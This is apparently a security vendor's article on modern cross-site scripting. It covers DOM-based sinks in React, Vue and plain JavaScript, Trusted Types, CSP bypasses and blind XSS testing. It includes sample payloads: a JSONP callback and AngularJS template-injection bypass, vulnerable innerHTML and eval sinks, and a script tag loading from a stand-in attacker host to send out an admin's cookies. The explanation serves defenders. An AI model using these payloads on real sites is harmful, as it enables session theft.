TL;DR
The XSS landscape has shifted. Reflected XSS is largely caught by scanners. DOM-based XSS — driven by unsafe use of innerHTML, document.write, and React's dangerouslySetInnerHTML — is the current high-value target. Trusted Types addresses this at the browser level, but adoption is slow and bypass techniques persist.
Classic reflected XSS — injecting a payload into a URL parameter that gets echoed into the server response — is well-understood and reliably caught by WAFs, output encoders, and automated scanners. The attack surface has narrowed significantly over the past decade.
DOM-based XSS is different. The server never sees the malicious payload. It flows directly from a source (URL fragment, localStorage, postMessage) into a sink (a DOM operation that causes script execution) entirely within the browser's JavaScript engine.
Modern frameworks — React, Vue, Angular, Next.js — add complexity. Most of their rendering paths are safe by default: JSX auto-escapes content, Vue's template engine encodes output. But developers regularly bypass these protections.
In React:
// Safe — JSX escapes this
<div>{userInput}</div>
// Unsafe — executes arbitrary HTML
<div dangerouslySetInnerHTML={{ __html: userInput }} />In Vue:
<!-- Safe -->
<p>{{ userInput }}</p>
<!-- Unsafe — equivalent to innerHTML -->
<p v-html="userInput"></p>In vanilla JavaScript, the classic sinks remain active in codebases that mix framework and non-framework code:
// Direct DOM write — no encoding
document.getElementById("output").innerHTML = location.hash.slice(1);
// URL-based source feeding a script execution sink
eval(new URLSearchParams(location.search).get("callback"));Trusted Types is a browser Content Security Policy directive that restricts which DOM sinks can receive string values. With Trusted Types enforced, operations like innerHTML, document.write, and eval can only accept typed values created by a registered policy — not raw strings.
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types defaultA Trusted Types policy:
const policy = trustedTypes.createPolicy("default", {
createHTML: (input) => DOMPurify.sanitize(input),
});
// Now this compiles but sanitizes before writing
element.innerHTML = policy.createHTML(userInput);The limitation is coverage. Trusted Types enforcement requires updating every injection point in your codebase to use a typed policy. For large legacy codebases, that migration is substantial. Many teams enable Trusted Types in report-only mode for months without reaching enforcement mode.
report-only mode does not block exploitation. It only reports violations. Do not treat a Trusted Types Content-Security-Policy-Report-Only header as a defense.
Content Security Policy remains the primary XSS mitigation layer, and bypass techniques are still highly effective against misconfigured policies.
JSONP endpoint bypass:
https://trusted-cdn.example.com/api/jsonp?callback=alert(1)//Any script-src allowlisted domain that hosts a JSONP endpoint can be abused to inject arbitrary JavaScript.
Angular template injection via CDN allowlist:
When script-src allows a CDN hosting AngularJS, the ng-app attribute can be used to evaluate expressions:
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>base-uri missing:
Without base-uri 'self', an attacker who can inject a <base> tag can redirect all relative URL resources to an attacker-controlled origin.
A CSP that relies entirely on allowlisted domains without a default-src 'none' baseline is significantly weaker than it appears. The most robust policies use hashes or nonces for inline scripts and avoid domain allowlisting entirely.
Effective automated XSS detection in 2026 requires more than payload injection. The pipeline needs to verify execution, not just reflection.
BreachVex runs XSS testing in three phases:
postMessage handlers.This three-phase approach eliminates the false positives that come from tools that report any reflection as XSS without verifying execution in a real rendering context.
Stored XSS that fires in an admin panel, support dashboard, or log viewer is often more valuable than reflected XSS in a user-facing page — the victim is a privileged user with access to sensitive data.
Blind XSS testing requires an out-of-band callback: a payload that, when executed in the admin context, sends the admin's cookie or DOM content to an attacker-controlled endpoint.
<script src="https://oob.attacker.com/x.js"></script>The challenge is the delayed execution — payloads may fire hours or days after injection, when an admin reviews the affected data. Effective blind XSS testing requires a live callback infrastructure and polling logic to correlate delayed hits with the original injection point.
Learn more about XSS